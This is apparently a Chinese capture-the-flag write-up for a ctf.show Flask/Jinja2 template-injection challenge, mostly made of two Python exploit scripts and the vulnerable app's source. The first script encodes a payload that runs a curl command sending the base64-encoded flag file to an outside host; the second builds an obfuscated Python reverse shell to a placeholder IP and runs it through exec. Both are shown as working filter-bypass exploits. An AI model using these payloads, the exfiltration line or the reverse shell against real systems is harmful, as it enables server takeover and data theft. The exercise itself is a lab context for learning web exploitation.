Werkzeug/1.0.1Python/3.8.7
    综合web370的全角做法
    (这里把 + 号换成了 ~ 号就不用额外 URL编码一次了,防止 + 号被解码为空格)

    1. import requests
    2. from urllib.parse import quote
    3. url = 'http://9c5f0c62-3b13-4173-ba56-aeae6b7956eb.challenge.ctf.show:8080'
    4. cmd_raw = 'curl http://xxx:2233/`cat /flag|base64`'
    5. def halfnum2full(half):
    6. full = ''
    7. for ch in half:
    8. if ord(ch) in range(48, 58):
    9. ch = chr(ord(ch) + 0xfee0)
    10. else:
    11. pass
    12. full += ch
    13. return full
    14. cmd = ''
    15. for i in cmd_raw:
    16. cmd += 'chr(' + str(ord(i)) + ')~'
    17. cmd = cmd.rstrip('~')
    18. raw = """/?name={% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
    19. {% set g=x~x~(dict(globals=x)|join)~x~x %}
    20. {% set ge=x~x~(dict(getitem=x)|join)~x~x %}
    21. {% set b=x~x~(dict(builtins=x)|join)~x~x %}
    22. {% set buin=(lipsum|attr(g)|attr(ge))(b) %}
    23. {% set chr=buin.chr %}
    24. {% set o=lipsum|attr(g)|attr(ge)(chr(111)~chr(115)) %}
    25. {% set cmd="""+cmd+""" %}
    26. {%if o.system(cmd) %}
    27. {%endif%}"""
    28. payload = ''
    29. for i in raw:
    30. payload += halfnum2full(i)
    31. print(payload)
    32. # 请求
    33. req = requests.get(url + payload)
    34. print(req.text)

    image.png
    base64解码一下URL部分就可以了~

    另外一种就是web371的做法,不过要把count换成length,因为count被过滤了

    1. import requests
    2. url = "http://44d624d7-7c45-4e23-9f39-d6d1c62589ec.challenge.ctf.show:8080"
    3. cmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP地址",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    4. def trans_to_placeholder(int_str):
    5. int_placeholder = list(map(lambda x: (int(x) + 1) * 'c', int_str))
    6. return '(' + '~'.join(int_placeholder) + ')|int'
    7. def c_chr(s):
    8. placeholder_list = ['chr(' + trans_to_placeholder(str(ord(c))) + ')' for c in s]
    9. return '~'.join(placeholder_list)
    10. payload = """/?name=
    11. {% set c=(t|length)%}
    12. {% set cc=(dict(e=a)|join|length)%}
    13. {% set ccc=(dict(ee=a)|join|length)%}
    14. {% set cccc=(dict(eee=a)|join|length)%}
    15. {% set ccccc=(dict(eeee=a)|join|length)%}
    16. {% set cccccc=(dict(eeeee=a)|join|length)%}
    17. {% set ccccccc=(dict(eeeeee=a)|join|length)%}
    18. {% set cccccccc=(dict(eeeeeee=a)|join|length)%}
    19. {% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}
    20. {% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}
    21. {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}
    22. {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}
    23. {% set coun=(ccc~ccccc)|int%}
    24. {% set po=dict(po=a,p=a)|join%}
    25. {% set a=(()|select|string|list)|attr(po)(coun)%}
    26. {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    27. {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    28. {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    29. {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    30. {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    31. {% set chr=x.chr%}
    32. {% set cmd=""" + c_chr(cmd) + """ %}
    33. {%if x.exec(cmd)%}
    34. {%endif%}"""
    35. print(url + payload)
    36. # 请求
    37. req = requests.get(url + payload)
    38. print(req.text)

    image.png

    顺便白嫖一下源码

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. from flask import session
    5. import re
    6. app = Flask(__name__)
    7. @app.route('/')
    8. def app_index():
    9. name = request.args.get('name')
    10. if name:
    11. if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print|count",name,re.I):
    12. return ':('
    13. template = '''
    14. {%% block body %%}
    15. <div class="center-content error">
    16. <h1>Hello</h1>
    17. <h3>%s</h3>
    18. </div>
    19. {%% endblock %%}
    20. ''' % (request.args.get('name'))
    21. return render_template_string(template)
    22. if __name__=="__main__":
    23. app.run(host='0.0.0.0',port=80)